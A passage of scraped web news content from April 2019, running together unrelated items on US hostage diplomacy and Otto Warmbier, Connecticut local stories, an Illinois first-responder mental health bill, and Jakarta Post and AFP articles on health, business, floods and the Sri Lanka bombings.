for four hostages." That referred to a 2016 settlement of a long-standing claim by Iran regarding undelivered aircraft on the same day four American detainees were released. State Department officials have insisted that the negotiations over the claims and detainees were not connected but came together at the same time, with the cash payment used as "leverage" to ensure the release of detainees. Trump also cited the case of Sgt. Bowe Bergdahl, who in 2009 walked off a U.S. military outpost in eastern Afghanistan and spent the next five years in enemy captivity. He was released in 2014 as part of a prisoner exchange for five Taliban members who were being held at the detention center at Guantanamo Bay. Bergdahl pleaded guilty in October 2017 to charges of desertion and misbehavior before the enemy. Trump has accused Bergdahl of being a traitor and called for his execution. Bergdahl was later sentenced to a dishonorable discharge from the Army but avoided prison time. In a second tweet Friday, Trump quoted an unnamed U.S. negotiator saying: "President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many in impossible circumstances, have been released in last two years. No money was paid." A White House spokesman said Trump was referring to previous remarks by Robert O'Brien, the administration's special presidential envoy for hostage affairs. O'Brien made similar remarks to those quoted by Trump at a March event in the Oval Office marking the return to the United States of Danny Burch, an American hostage who was freed in Yemen in February after nearly 18 months in captivity. Speaking to reporters Friday, Trump claimed he was making "a lot of progress" in his efforts to denuclearize North Korea. "I have a great relationship with Kim Jung Un," said Trump, who also praised Russia and China for working with the United States toward its goal of a denuclearized Korean Peninsula. Warmbier, who was 21, fell into a coma for unknown reasons the night he was sentenced to 15 years in prison in North Korea with hard labor in March 2016. He was convicted on charges stemming from pulling down a propaganda sign in a Pyongyang hotel in the early hours of Jan. 1, 2016. Such an infraction would be minor in almost any other country, but in North Korea, it was considered a "hostile act against the state." Fred Warmbier, Otto Warmbier's father, said he was never told about the hospital bill. He said it sounded like a "ransom" for his son. After his sentencing, the North Koreans held on to the comatose student for 15 more months, not even telling American officials until June 2017 that he had been unconscious all that time. - - - Fifield reported from Beijing. NORWALK When the contractions first started around 1 a.m. April 19, Christina Dustin thought she had time for a quick shower before heading to the hospital. After all, this was her second time through the childbirth process, and the first time had gone according to plan. Why would this time be any different, she figured. But as the contractions began to quicken, she and her husband, Dave Dustin, started to realize this birth was going to be anything but conventional. Dave, a Norwalk firefighter of seven years, quickly called for an ambulance, and then the two waited anxiously. I was obviously worried about my wife and baby, and hated seeing her in pain, but I was trying to keep her calm the best I could, Dave said. At first, Dave said, he feared hed have to deliver the baby himself right there in their homes hallway, but the emergency crews arrived shortly after the call. But, as the ambulance sped down Newtown Avenue, it became apparent that they wouldnt reach Norwalk Hospital in time. Instead, this was going to require a roadside delivery. Where most people would be worried, though, Christina and her husband simply rolled with the punches. I know firsthand obviously that our first responders are great, so I knew shed be in great hands, Dustin said. So Christina focused on her breaths as Dave, two paramedics and a handful of fellow firefighters assisted in the delivery. And, at 2:01 a.m. less than 20 minutes after the 911 call was made Ally Marie Dustin was born by the side of Newtown Avenue, south of Grumman Avenue. The delivery was done without any complications, Deputy Fire Chief Chris King said. It went as well as a delivery done in an ambulance on the side of the road can go, King said. It was a real team effort. Dave said the whole experience was a little anxiety-provoking, but he was always confident that everything would work out for the best. Also, having some of his firefighting friends on hand helped offset some of the tensions. That definitely gave me some comfort, Dave said. But, my wife said she didnt even realize that the firefighters were there. She was just focused on the pain. Ally is the familys second daughter. NORWALK Firefighters handle a lot of calls motor vehicle crashes, fires, medical emergency and more. But Tuesday, Norwalk Fire Department personnel responded to a city home to rescue a dog on a roof. In a photo posted by Norwalk fire officials on the departments Facebook page showed several firefighters helping to get the dog down safely. We dont just put fires out, officials said, sometimes we rescue dogs off of rooftops. There was no further information provided about the incident, including how the dog ended up on the roof. NORWALK Two Antiguan police constables and third person were caught trying to steal items from a local Costco. Monya Roberts, Robert Dyer and Janice Gittens were taken into custody on April 13 after store employees allegedly caught them in the act of stealing from the store. WESTPORT A Westport man who spent months arguing Westport police mistook a hashbrown for a cellphone in charging him with a distracted driving ticket was found not guilty. Not guilty! Justice prevails, Westport resident Jason Stiber said in an email to the Westport News on April 26, shortly after Judge Maureen Dennis of the state Superior Court in Norwalk released her decision. The hashbrown incident occurred April 11 around 6 a.m., when Stiber bought a hash brown at the McDonalds on the Norwalk border and was then pulled over by Westport Police Cpl. Wong Won near the Westport Whole Foods on Post Road West. I was eating a hash brown and he thought he saw a cellphone near my mouth, Stiber said in November. He was issued a $300 ticket for distracted driving. Stiber said he had no reason to put his phone up to his ear because he has bluetooth, and provided phone records showing he did not make any calls in the hour he received the ticket. He was pulled over for talking on his cellphone and given an infraction. Im sure his claim is different, Lt. Jillian Cabana said in November. A Westport resident since 2007, Stiber first went to trial to fight the ticket in August before a magistrate judge, who found him guilty despite the presentation of the phone activity records. Stiber then requested a retrial, which ocured Feb. 22. I just think this is a classic example of the truism that cops make mistakes. Theyre human beings like everyone else and sometimes they get things wrong, Stibers attorney John Thygerson said. svaughan@hearstmediact.com; 203-842-2638; @SophieCVaughan1 Birth announcement FLORIAN TERRAZAS To Angel and Ana (Terrazas Cossio) Florian of Grand Island, a son born April 19, 2019, at CHI Health St. Francis. Police/Sheriff Anyone with information about any crime in the state may call the Grand Island-Hall County Crime Stoppers, (308) 381-8822. Callers will remain anonymous. A reward of up to $1,000 will be paid after law enforcement agencies have determined the seriousness of the crime and the usefulness of the information. Inmate custody status can be obtained by calling the VINE hotline at (877) NE 4 VINE or by visiting www.vinelink.com. Information is available 24 hours a day. If you see a crime happening, call the Grand Island-Hall County Emergency Center 911. Hall County Sheriff Law enforcement arrested seven people on warrants in 14 cases. There were 37 calls for service. For more information visit www.hallcountyne.gov and click on the sheriff link. SPRINGFIELD The Illinois Public Pension Fund Association (IPPFA) has urged members of the Illinois House of Representatives to pass the First Responders Suicide Prevention Act, a bill that would make mental health services more accessible to those who regularly deal with traumatic situations and often suffer psychological issues as a result. First responders attempt suicide at more than 10 times the rate of the general population. The responders are there for trauma victims but they often have nowhere to turn when that trauma overwhelms them, said IPPFA President James McNamee. This legislation increases the availability of mental health services for these everyday heroes and removes many of the barriers that might make them reluctant to seek help. The Illinois Senate has passed Senate Bill 730, sponsored by Sen. Terry Link, which creates the First Responders Suicide Prevention Act. The legislation provides that any emergency services or public safety employee may refer any fellow first responder for mental health services through an employee assistance or peer counseling program. If such a program is not available through the employees agency, the legislation authorizes that help may be sought from any available mental health assistance program. Most importantly, the bill mandates that any oral or written information communicated during these mental health sessions would be strictly confidential and could not be used in any judicial hearing, arbitration, or other adjudicatory proceeding. The IPPFA drafted the bill two years ago. It was written by IPPFA members who are first responders themselves and the legislation gained steam following several recent first responder suicides in Illinois. If passed by the House and signed by the governor, it would become effective immediately. Budgets have been cut in recent years and first responders have been put on the chopping block to balance budgets, McNamee said. Crimes, fires and other emergencies have not gone down, so we place more duties on fewer people and those people need to have access to confidential help when they need it. While pushing for the passage of SB 730 the IPPFA has partnered with the Northern Illinois University Psychology Department to develop training for first responder mental health service providers. This training will be accredited through the university and can be taught through the states university system. A recent study by the Ruderman Family Foundation examined depression, post-traumatic stress disorder and other issues affecting first responders and the rates of suicide in departments nationwide. The study determined that first responder suicides outnumber all line of duty deaths in the United States, making it the number one cause of death for firefighters, police officers, probation and corrections officers, paramedics and ambulance personnel. The IPPFA was founded in 1985 as a not-for-profit organization whose mandate was to educate public pension fund trustees. In 2009 the IPPFA became the primary education provider for public pension fund trustees in the state of Illinois and its members manage more than $18 billion in pension assets. Retirement benefits are provided to police officers and firefighters through local pension funds in Illinois. The funds are regulated by state law but they are managed by local boards of trustees. There are 643 pension funds for police officers and firefighters in Illinois, 641 of them downstate and two in Chicago. A Madison County deputy sheriff, left, and an Alton police officer, right, help a juvenile up off the ground after he was arrested on the property of the former Alton Cine after eluding police for more than half an hour Thursday morning. Police broadcasts said the juvenile jumped from the back of an ambulance he was in, in the 4000 block of Humbert Road in Godfrey, touching off a search by more than a dozen officers from the sheriffs department and Alton police. Deputies called for a canine unit from Alton police and officers were searching the wooded area by a creek east of Humbert Road when the male youth was spotted walking and jogging up Humbert Road and onto the Farm & Home parking lot. When deputies arrived he continued running from them and across the Homer Adams Parkway until he was arrested on the former theatre parking lot. It was unclear why the youth was in the ambulance. John Badman Ms. Maimunah Mohd Sharif, UN Under-Secretary-General, Executive Director of UN-Habitat, delivers a speech at the initiating ceremony of the UN-Habitat China Future Cities Council (CFCC), in Beijing, April 25, 2019. (Photo by Zhang Zhou/ Guangming Picture) BEIJING, April 26 (Guangming Online)--The initiative is a platform to work together, to stimulate each other to come forward with innovative solutions for cities and urban residents in China, said Ms. Maimunah Mohd Sharif, UN Under-Secretary-General, Executive Director of UN-Habitat, at the initiating ceremony of the UN-Habitat China Future Cities Council (CFCC), on Tuesday in Beijing. She also hoped that it would provide a useful opportunity to technology companies in China to look with us into the future challenges of better cities and better lives. The UN-Habitat China proposed the establishment of the UN-habitat CFCC for better integration and innovation between science and technology and cities. Lu Weiding, Chiarman of the Board, Wanxiang Group, and Pang Shengdong, Co-Chairman of the Board, Xinchao Media Group, were invited to respectively take the office of Chair and Vice Chair of the UN-Habitat CFCC. The council is planned to be officially established in the latter half of the year 2019, and it will release annual reports on future cities prospect, focusing on smart cities and cities sustainable development. [ Editor: WPY ] EDWARDSVILLE The 55th annual NAACP Edwardsville Freedom Fund Banquet will be held at 3 p.m. on Sunday, June 2 in the Meridian Ballroom on the SIUE campus. The keynote speaker is Tasha Fox, owner and operator of Chick-fil-A in Florissant, Missouri. The theme is Courage Conquers Fear. Share this article Whatsapp Facebook Twitter Linkedin Vishal Bhargava (The Jakarta Post) Jakarta Fri, April 26, 2019 Everyone has heard of the Titanic. Everyone has heard of JP Morgan. Not many are however aware that John Pierpont Morgan actually owned the majestic Titanic that sank in 1912 after colliding with an iceberg. Almost every expert labeled the rescue process as shoddy although they hailed the rescue effort of the Carpathia ship that eventually saved only one-third of the passengers on the Titanic. Over a century later the world witnessed the colossal damage done to the iconic Notre Dame de Paris. The fire devastated the 850-year-old church in nine hours before it was extinguished. While government agencies moved swiftly there is one company whose products and technology that came to their rescue Chinese drone manufacturer, DJI. Drones are unmanned aerial vehicles that can be remotely controlled to fly autonomously think a tiny helicopter without a pilot inside. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post. Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) Dubai, United Arab Emirates Fri, April 26, 2019 07:05 972 db1d47cf6ffbed4060cffaa8734e32a5 2 Health United-Arab-Emirates,comatose,coma,health,#health Free An Emirati woman opened her eyes and regained consciousness after spending 27 years in a coma induced by a serious brain injury, her family said Wednesday. Munira Omar was 32 when she was injured in a road traffic accident in 1991 after picking up her son Omar from school in the city of Al-Ain. Omar survived -- and lived to see his mother awake again decades later in a hospital bed in Germany, where she had been transferred for medical care. "I always believed that my mother would get better," Omar, now 32 himself, told AFP by phone. "Many doctors had told us not to expect much after being in a coma for 15 or 20 years, but I would not accept that. "This is all in God's hands, and I never lost hope." Omar said he traveled to Germany to be with his mother during her stay there, and rarely left her side. Read also: Phoenix police investigate after woman in coma for decade gives birth She woke up in May, but her family chose to keep the news under wraps out of respect for her privacy, Omar said. Now 60, Munira is in a stable condition and is now home in the UAE, after being enrolled in a physical rehabilitation programme, with her family nearby, according to Omar. "We wanted to make sure that she was in a stable condition before we went public to share our experience," Omar said. "We felt like we needed to share the story to give people going through the same or similar experiences hope." Share this article Whatsapp Facebook Twitter Linkedin (Agence France-Presse) Brussels, Belgium Fri, April 26, 2019 10:01 971 db1d47cf6ffbed4060cffaa8734ec6c8 2 Health trans-fats,heart,heart-problems,health,EU,European-Union,diet Free The EU adopted a regulation on Wednesday to curb trans fat amounts in products like snack food as part of efforts to fight heart disease and strokes in Europe. Industrially-produced trans-fatty acids, like margarine and some hardened vegetable fats, are popular among food producers because they are cheap and typically have a long shelf life. But given their link to cardiovascular disease, trans fats have also been blamed for more than 500,000 deaths annually, according to World Health Organization figures. The EU's executive arm, the European Commission, set the limit from April 2, 2021 at two grams of industrially produced trans fats per 100 grams (3.5 ounces) of fat in food. Read also: WHO urges global ban on trans fats It said the regulation also requires wholesalers to notify retailers of any food that contains more than the limit. "The measure aims at protecting consumers' health and providing Europeans with healthier food options," the Commission said in a statement. The European Food Safety Authority and other bodies have conducted studies pushing for the lowest possible consumption of trans fats. In May last year, the WHO unveiled a plan to eliminate the use of trans fats, extending progress in wealthier countries to those in poorer ones. Share this article Whatsapp Facebook Twitter Linkedin Ben Simon (Agence France-Presse) Geneva, Switzerland Fri, April 26, 2019 09:03 971 db1d47cf6ffbed4060cffaa8734eab98 2 Parents WHO,lifestyle,children,health,gadget,screen-time Free The United Nations on Wednesday released its first-ever recommendations on physical activity for children under five, with disputed advice on subjects ranging from screen time to "tummy time". The guidelines from the World Health Organization may read to some parents like common-sense practices, including not exposing babies under one-year-old to screens. "This is about making the shift from sedentary time to playtime," Juana Willumsen, WHO's point person for childhood obesity and physical activity, said in a statement. But several experts noted that WHO's broad recommendations were based on thin evidence, and chastised the agency for adopting overly simplistic definitions of key terms, notably "sedentary screen time". With obesity posing a rising public health threat and 80 percent of adolescents "not sufficiently physically active," WHO said it was time to outline best practices for children under five -- a crucial period for lifestyle development. 'Tummy time' Despite acknowledging that its "strong recommendations" were based on "very low quality evidence," the UN health agency said its advice could apply to all young children, regardless of gender, cultural background or socio-economic status. For infants under one, the WHO recommends at least 30 minutes of physically activity a day, including prone position -- or tummy time -- for those not yet mobile. Babies under one should also not be restrained in a pram, highchair or strapped to someone's back for more than an hour at a time and should sleep between 12 and 17 hours a day, the agency said. Read also: Rewarding childrens behavior with screen time can lead to more screen time For children between one and two years old, WHO recommends three hours of physical activity each day, with no more than an hour of "sedentary screen time" and at least 11 hours of sleep. And for children aged three to four, three hours of daily physical activity should include at least an hour of "moderate to vigorous" movement, while screen time should be kept under an hour. 'Lots of science to do' "I do rather wonder to what extent global guidelines on public health policy, affecting millions of families, should be based on 'very low quality evidence'," Kevin McConway, emeritus professor of applied statistics at The Open University in Britain, said in a statement. Fiona Bull, program manager for the prevention of non-communicable diseases at WHO, told reporters that the authors were fully confident in the strength of the guidelines. By addressing the low quality of the evidence, WHO was simply being "transparent that there is still lots of science to do in emerging area of importance," she said. "What exactly is 'sedentary screen time' anyway?" asked McConway, one of several experts who took issue with WHO's use of the term. WHO's "glossary says that it excludes 'active screen-based games where physical activity or movement is required', but thats not very clear in my view." Andrew Przybylski, director of research at the Oxford Internet Institute at Oxford University, agreed that while restricting young children's screen time appeared to "make sense... in many ways the conclusions drawn about screens are out of step with scientific evidence of harm." "Not all screen time is created equal," he added, urging further study on the various types of screen-based activities available to children and their impacts. Willumsen said the screen time guidelines do not pertain to "an interactive tablet based game or a TV program where children are encouraged to move, to copy movements to dance to interact with the media. "It is very much the passive screen time," she told reporters in Geneva. Tim Smith of Centre for Brain and Cognitive Development, Birbeck, University of London described that distinction as "an oversimplification of the many ways young children and their families engage with screen media." Share this article Whatsapp Facebook Twitter Linkedin Ni Komang Erviani (The Jakarta Post) Bali Fri, April 26, 2019 14:30 971 db1d47cf6ffbed4060cffaa8734fdb0d 1 Food Ubud-Food-Festival,food,#food,festival Free The 2019 Ubud Food Festival (UFF) presented by ABC officially began on Thursday night, marking the beginning of a three-day Indonesian culinary adventure. Over 100 chefs, restaurateurs, entrepreneurs, farmers, food writers, scientists and storytellers from 22 countries have come together for the festival, which ends April 28. The festival was officially opened with the scooping of tumpeng (cone-shaped yellow rice accompanied with assorted side dishes). Tumpeng is a traditional symbol of joyful celebrations for most people living in Java, Bali and Madura islands. During the festivals gala opening, the UFF also granted a Lifetime Achievement Award to Murdijati Gardjito, 77, a culinary expert who has dedicated her life to preserving Indonesian cuisine. Murdijati has written at least 60 books about Indonesia's culinary culture and local produce and has continued to research and write books on Indonesian food despite losing her eyesight in 2015. I can only express my thanks to God. At this time, I can not see the world. But the world can see what I do for my country and my nation, Murjiati said after receiving the award. Murdijati Gardjito receives the Lifetime Achievement Award from the Ubud Food Festival at the gala opening on April 25. (JP/Ni Komang Erviani) Read also: Despite losing sight, Murdijati Gardjito keeps documenting Indonesian cuisine For its fifth year, the UFF is featuring 36 cooking demos across two stages, 23 special events, 15 masterclasses, 23 food forums, food tours, kids events, live music, film screenings and more than 75 stalls. Themed "Spice Up the World", the festival is said to explore the best ways to make Indonesia's culinary identity known. Part of our mission is to present Indonesian food from across the archipelago, the festival's founder and director, Janet DeNeefe, said. Bali Deputy Governor Tjokorda Artha Ardana Sukawati expressed his appreciation for the annual festival, which has helped to promote local Balinese cuisine. We hope this festival could promote Bali as a culinary destination, said Sukawati in written remarks that were read by the region's cooperatives and small and medium enterprises agency head, I Gede Indra Dewa Putra. (kes) Share this article Whatsapp Facebook Twitter Linkedin Josh Eidelson (Bloomberg) Fri, April 26, 2019 21:02 971 db1d47cf6ffbed4060cffaa87350da88 2 Science & Tech Google,employees Free Google unveiled another round of policy changes to address employee concerns about misconduct at the worlds largest internet search company. Staff can now lodge complaints and concerns about harassment and other misconduct at work via a new website. During meetings related to investigations, workers will have more freedom to bring along colleagues to support them. Theres also a new program to provide better care for employees during and after investigations, the company said Thursday. We want every Googler to walk into a workplace filled with dignity and respect, Googles global director of diversity, equity, and inclusion, Melonie Parker, wrote in an email to employees, which was also posted publicly online. By June, the Alphabet Inc. subsidiary will also complete a dedicated site for receiving concerns from temporary workers and vendors. Last year, temporary, vendor and contracted staff became a majority of Googles workforce. Read also: Data reveals Indonesia's hottest Google searches for 2018 The latest changes come nearly six months after thousands of Google employees around the world staged walkout protests to demand changes to the way the company handles misconduct. In response, Google announced last November that it would stop forcing employees to handle sexual harassment and assault claims in arbitration rather than in court. In February, the company announced a more sweeping change; dropping so-called forced arbitration for all current and future employees and allowing them to instead pursue courtroom class actions for all kinds of workplace complaints. Such moves, Parker wrote, are all big changes that I hope show our real commitment. The internet giant came under fire this week from two leaders of last years walkout. They alleged in a message posted to internal mailing lists that Google has been retaliating against them. Google denied the claims. The employee activists, whose message was first reported by Wired, plan to hold a town hall meeting about the issue on Friday. "What we see here is Google management scrambling to placate workers in the face of serious claims that the company retaliates against organizers and those who speak up about harassment and discrimination," the advocacy group Tech Workers Coalition said in a statement Thursday. Topics : Google employees Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 12:34 971 db1d47cf6ffbed4060cffaa8734f7e2e 1 Art & Culture I-La-Galigo,Ciputra-Artpreneur-Museum,theater-performance Free A theater performance of I La Galigo, which is an adaptation of the mythological epic poem Sureq Galigo of the indigenous Bugis people of South Sulawesi, is scheduled to entertain Indonesians at the Ciputra Artpreneur Theater in South Jakarta on July 3, 5, 6 and 7. Two promoters, Ciputra Artpreneur and the Yayasan Bumi Purnati foundation, are staging the show in a bid to introduce all Indonesians to the archipelagos art and culture. Fertility: The Goddess of Rice waits as Batara Guru of the Upper World and We Nyiliq Timoq of the Under World prepare to wed for a union that is to populate the Middle World. (JP/Wendra Ajistyatama) Since its premiere in Singapores Esplanade Theaters on the Bay in 2003, the show continues to garner attention in big cities around the globe, including at New York Citys Lincoln Center Festival for which it received praise from The New York Times as a "stunningly beautiful music-theater work" -- Amsterdams Het Muziektheater, Barcelonas Forum Universal de les Cultures, Rhone-Frances Les Nuits de Fourviere, Italys Ravenna Festival, Taipeis Hall for Taipei Arts Festival, Melbourne International Arts Festival and Milans Teatro Arcimboldi, before finally returning to Makassars Fort Rotterdam. It was recently named a special world-class performance during an annual meeting of the IMF-World Bank Group in 2018 in Bali as well. Read also: I La Galigo an epic performance of visual and aural mastery The price of love: Sawerigading chops down Welenrennge, the largest and most sacred tree, to build a fleet of ships to use to cross to China, where Princess We Cudaiq is. (JP/Wendra Ajistyatama) I La Galigo is a treasure of Indonesian art and culture. The international community has shown its appreciation of this work, hence Indonesian people should also be able to witness this masterpiece, which is just as great as the Mahabharata or Ramayana, read a statement from Ciputra Artpreneur. The two-hour performance is to be directed by Robert Wilson and boast spectacular stage and lighting designs. Tickets to the show are currently available online with prices ranging from Rp 475,000 (US$33.45) to Rp 1.85 million. (kes) __________ Editor's note: The first paragraph in this article has been corrected. Share this article Whatsapp Facebook Twitter Linkedin Apriadi Gunawan (The Jakarta Post) South Tapanuli, North Sumatra Fri, April 26, 2019 07:41 972 db1d47cf6ffbed4060cffaa8734e34d2 1 National batang-toru-ecosystem Free The South Tapanuli regency administration in cooperation with PT North Sumatra Hydro Energy (NSHE) have started growing thousands of rare trees around the PLTA Batang Toru hydropower plant in an effort to minimize the impact of climate change. Light red meranti trees and dark red meranti trees were planted in Sipirok district, South Tapanuli regency, North Sumatra, to commemorate World Earth Day on April 22. Both rare species are endangered because of excessive exploitation by humans, PT NSHE vice president of communication and social affairs Firman Taufick told The Jakarta Post recently. Light red meranti and dark red meranti were near threatened and endangered, according to the International Union for Conservation of Nature (IUCN). The tree-planting received a warm welcome from South Tapanuli Deputy Regent Eswin Siregar. This is important for the future of our children and grandchildren, especially because they are rare trees, Eswin said, promising to develop the trees across the regency. (swa) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 11:11 971 db1d47cf6ffbed4060cffaa8734f22b8 4 Business Garuda-Indonesia,financial-report,rejection,comments,analyst Free A Garuda Indonesia financial report that was objected to by two commissioners is acceptable, analysts have said, arguing that the inclusion of receivables in a report is common practice in accountancy. Commissioners Chairal Tanjung and Dony Oskaria previously objected to the flag carrier's financial report, particularly details on the revenue from a cooperation agreement with PT Mahata Aero Teknologi (US$239.94 million) and receivables from PT Sriwijaya Air ($28 million) in the 2018 fiscal year. Chairal represents PT Trans Airways, while Dony represents Finegold Resources Ltd, both of which control 28.08 percent of Garuda Indonesia shares. As a result of their protest, the price of Garuda shares dropped 7.6 percent on Thursday. There is no problem as long as it [the inclusion of receivables] is in line with the agreement note, said Lee Young Jun, an analyst with security firm Mirae Aset Sekuritas, as quoted by kontan.co.id on Thursday, adding that the receivables could be included in the report because the report was not based on cash. Under the agreement note between PT Mahata Aero Teknologi and Garuda Indonesia, both parties agreed on the payment of compensation for the installation of connectivity infrastructure on planes owned by low-cost carrier Citilink Indonesia, a Garuda subsidiary. For me if the cooperation is based on a contract, there is no problem from an accountancy point of view, he added. Suria Dharma, research head of Samuel Sekuritas, questioned the reason of the protest by the two commissioners, saying that a good performance of Garuda Indonesia as shown in the report had benefited the shareholders because it could increase share prices. I see the protest was a bit odd [...] Why should the shareholders speak out in the open forum? Why did they not discuss it internally? It had caused Garudas share price to drop by 7.6 percent. It is bad for Garudas credibility, Suria added. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 17:35 971 db1d47cf6ffbed4060cffaa87350af68 1 City flood,East-Jakarta,South-Jakarta,trash Free Jakarta Governor Anies Baswedan has instructed South Jakarta Mayor Marullah Matali and East Jakarta Mayor M Anwar to be on the alert for flooding. Anies said he had told officials in flood-stricken areas in the city to anticipate rising water levels from the Katulampa sluice gate in Bogor, West Java. If you dont see the mayors [at their offices] it is because everyone is standing by at the flood-stricken areas to get ready if there is any more floodwater from upstream, Anies said as quoted by wartakota.tribunnews.com on Friday. Read also: Thousands flee as floods hit Jakarta, Depok, Tangerang He has also deployed staff from the Water Management Agency as well as Public Facility Maintenance Agency (PPSU) to several areas. Anies said the weather in Jakarta was not necessarily causing the floods, but residents had to always be aware of the risk of flooding from Bogor. This is an example of floods that are caused by flooding from the southern upstream. We receive the water from the upstream when the rain is heavy there, Anies said. The rain that hit Bogor and surrounding areas had overwhelmed Katulampa sluice gate and Depok water gate in West Java. As a consequence, some areas in South and East Jakarta have been inundated, such as Lenteng Agung, Srengseng Sawah, Pengadegan, Rawajati, Pejaten Timur, Cawang, Balekambang, Kampung Melayu and Bidara Cina. Parmi, a resident of Pejaten, South Jakarta, said the flooding had been the worst in the last five years. The last time floods hit my house was five years ago. The latest floods did not hit my house, she said. She added that she had secured her belongings on the second story of her house. In Balekambang, East Jakarta, two neighborhoods have been flooded to a depth of 1.5 meters. The neighborhood head of RT 07 in Balekambang, Heri Prasetya, said 350 families had been affected by the flooding in his area. The subdistrict has coordinated to provide aid for residents. They will provide food until the families can go back to their homes, he said. Balekambang is one of the areas affected by a river restoration project, which has been stalled for years. Heri said people in his area wanted to move as deemed necessary by the project, but many were held up by bureaucracy. [They dont have proper] house or land certificates, and there are some whose ownership is disputed, he said. Heaps of trash are seen in the Ciliwung River under a bridge on Jl. Abdullah Syafei in Kampung Melayu, East Jakarta as floods hit the city on April 26. (kompas.com/Ardito Ramadhan D) The flooding has also caused trash to pile up in the Ciliwung River under the bridge on Jl. Abdullah Syafei in Kampung Melayu, East Jakarta. The trash came from upstream and became enmeshed in bridge construction work. Leo Tantino, head of East Jakarta Water Body Management, said 30 trucks had been deployed to remove the trash from the location. We havent weighed it yet, but 30 big trucks [were deployed]. Each truck has a capacity of about 6 cubic meters, Leo said as quoted by kompas.com. (gis) Share this article Whatsapp Facebook Twitter Linkedin News Desk (Agence France-Presse) Sydney, Australia Fri, April 26, 2019 11:55 971 db1d47cf6ffbed4060cffaa8734f3b85 2 World #SriLanka,#ChurchAttack,Australia,warning,terror-attack Free Australia on Friday warned more terror attacks were "likely" in Sri Lanka, cautioning citizens against visiting the island nation following the Easter Sunday bombing that claimed 253 lives. "Terrorists are likely to carry out further attacks in Sri Lanka," the foreign ministry warned in its latest travel advice. "Attacks could be indiscriminate, including in places visited by foreigners," it said. Canberra advised Australians to "reconsider your need to travel to Sri Lanka", following similar warnings from Britain, the Netherlands and the United States since the April 21 bombings. The US State Department has warned that terrorist groups "continue plotting" possible attacks, with targets including tourist locations, places of worship and airports. An Australian woman and her 10-year-old daughter were among those killed in the series of bomb blasts that targeted tourists and Christian worshippers. Prime Minister Scott Morrison said that intelligence indicated the attack was carried out by a local group, with support from the Islamic State group. "There were links between this group, and support being provided -- including the targets of these attacks -- by the Daesh network," he said. Australian counter-terrorism police would assist Sri Lankan authorities with their investigation and are probing suspected attacker Abdul Lathief Jameel Mohamed's time living in Melbourne. The Australian Federal Police refused to say whether the 36-year-old was known to them or whether he was radicalised while living in Australia. "As there is an ongoing investigation into the attacks, it would not be appropriate to comment," a spokesperson said. Tensions remain high in Sri Lanka and a curfew has been put in place across the island, with authorities still in a desperate search for suspects. Authorities on Thursday revised down the death toll by more than 100 to 253, admitting some of the badly mutilated bodies had been erroneously double-counted. Share this article Whatsapp Facebook Twitter Linkedin Rachmadea Aisyah (The Jakarta Post) Jakarta Fri, April 26, 2019 15:35 971 db1d47cf6ffbed4060cffaa873502e22 1 Business iims,2019,new-makes,DFSK,Hyundai,Suzuki Free The 2019 Indonesia International Motor Show (IIMS) kicked off on Thursday and will be open to visitors until May 5. A number of automakers announced their new makes on the opening day of the exhibition. One of the most anticipated new models is the Glory 560 sport utility vehicle (SUV) from Chinese automaker DFSK, a successor to the SUV DFSK Glory 580 that was introduced last year. DFSK, a newcomer to the Indonesian automotive market, is offering the Glory 560 at a starting price of Rp 189 million (US$13,313), lower than the 580 version, which is priced at Rp 245.9 million. Sokonindo Automobile, which holds a DFSK license in Indonesia, expressed confidence about the release, saying there was a shift in the trend of first-time car buyers from multi-purpose vehicles (MPVs) to SUVs. The Glory 560 is expected to make up half of this years sales for DFSK, which a targeted 12,000 vehicle sales, an ambitious 881 percent jump from the 1,222 cars sold in 2018. In the next two months, Glory 560 and all its spare parts will be available in all our showrooms across Indonesia [...] and we are confident [about achieving] better results, said Franz Wang, Sokonindo Automobile sales managing director. Meanwhile, Korean automaker Hyundai announced the launch of its Hyundai Kona, a medium-sized SUV, at a starting price of Rp 363.9 million. Hyundai Motors Indonesia launched its medium SUV, the Hyundai Kona, at IIMS 2019 on Thursday. (JP/Rachmadea Aisyah) Prior to its launch in Indonesia, Hyundai Kona entered several markets worldwide, including the United States. This car complements our SUV lineup in Indonesia after Tucson and Santa Fe, Hyundai Motors Indonesia president director Mukiat Sutikno said. Kona launched at a lower price than its competitors in the medium SUV class, with its Honda HR-V priced at 400 million and Mazda CX-3 at Rp 398.8 million. Japanese automaker Suzuki, on the other hand, chose to introduce a pick-up truck in its New Carry Pick-Up lineup. The pick-up is being sold for between Rp 135.6 million and Rp 145.1 million, eyeing consumers from small and medium businesses. According to Seiji Itayama, the president director of Suzuki Indomobil Sales, Carry makes were Suzukis best-selling vehicles. We have sold 1.25 million units of the Carry pick-ups and exported 100,000 to 59 countries [...] we plan to expand our exports to 100 countries, he said. Suzuki held a world premiere of the latest version of its Carry Pick-Up during the IIMS. It will be priced at Rp 135.6 million. (JP/Rachmadea Aisyah) Meanwhile, in the upper-class side, Mercedes-Benz launched the latest version of its premium MPV, the B-Class, at a starting price of Rp 679 million. Mercedes-Benz Distribution Indonesia president director Roelof Lamberta said the automaker was confident about its prospects in the premium automotive market. Despite challenges in the automotive industry, Mercedes-Benz sold 841 vehicles in the first three months of 2019, confirming our position as the number one luxury automotive brand in Indonesia with a market share of 50 percent, Lamberta said. At the 2019 IIMS, BMW also launched the latest versions of the BMW Z4 roadster and BMW X5 SUV, with price tags of Rp 1.46 billion and Rp 1.48 billion respectively. We are optimistic about significant growth under the premium car category, said Jodie OTania, vice president of corporate communications at BMW Indonesia, adding that the company received several orders of the latest BMW Z4 shortly after its launch. (bbn) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Fri, April 26, 2019 11:27 971 db1d47cf6ffbed4060cffaa8734f2306 1 City Thousand-Islands-regency,boy,drown,East-Jakarta,Ciliwung-river Free The body of 8-year-old Muhammad Fikri, who drowned in the Ciliwung River in Kampung Melayu, East Jakarta, was found floating in Thousands Islands waters on Thursday. "The body was found on 